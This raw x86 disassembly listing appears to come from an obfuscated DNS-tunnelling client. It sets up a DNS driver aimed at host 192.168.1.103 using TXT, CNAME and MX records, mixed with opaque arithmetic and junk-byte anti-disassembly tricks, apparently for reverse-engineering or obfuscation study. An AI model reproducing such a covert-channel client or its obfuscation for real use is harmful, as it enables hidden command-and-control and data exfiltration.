add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x440]
fstp st(0)
jmp 0x42fa6a
nop
jmp 0x42fab5
mov eax, dword [0x4386c4]
lea edx, [eax*4]
mov eax, dword [ebp + 0xc]
add eax, edx
mov edx, dword [eax]
mov eax, dword [0x44406c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.TXT_CNAME_MX
mov dword [esp + 0xc], 0xe580
mov dword [esp + 8], str.192.168.1.103
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.create_dns_driver_internal
mov dword [0x444070], eax
mov dword [esp], dbg.cleanup
call dbg.atexit
mov eax, dword [0x444070]
mov dword [esp], eax
call dbg.driver_dns_go
mov dword [esp + 0x8f0], 0
jmp 0x42fb04
mov dword [esp + 0x8e4], 0
mov eax, dword [esp + 0x8e4]
cmp eax, 0x37
ja 0x42fafc
mov eax, 0
jmp 0x42fd77
add dword [esp + 0x8f0], 1
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x5c0]
xor eax, eax
je 0x42fb7c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5c0]
fstp qword [esp + 0x130]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fc62
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42fc62
mov dword [esp + 0x70], 6
jmp 0x42fd61
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fd60
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x130]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x70]
fldcw word [esp + 0x12e]
jmp 0x42fd61
nop
mov eax, dword [esp + 0x70]
cmp dword [esp + 0x8f0], eax
jl 0x42fadb
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret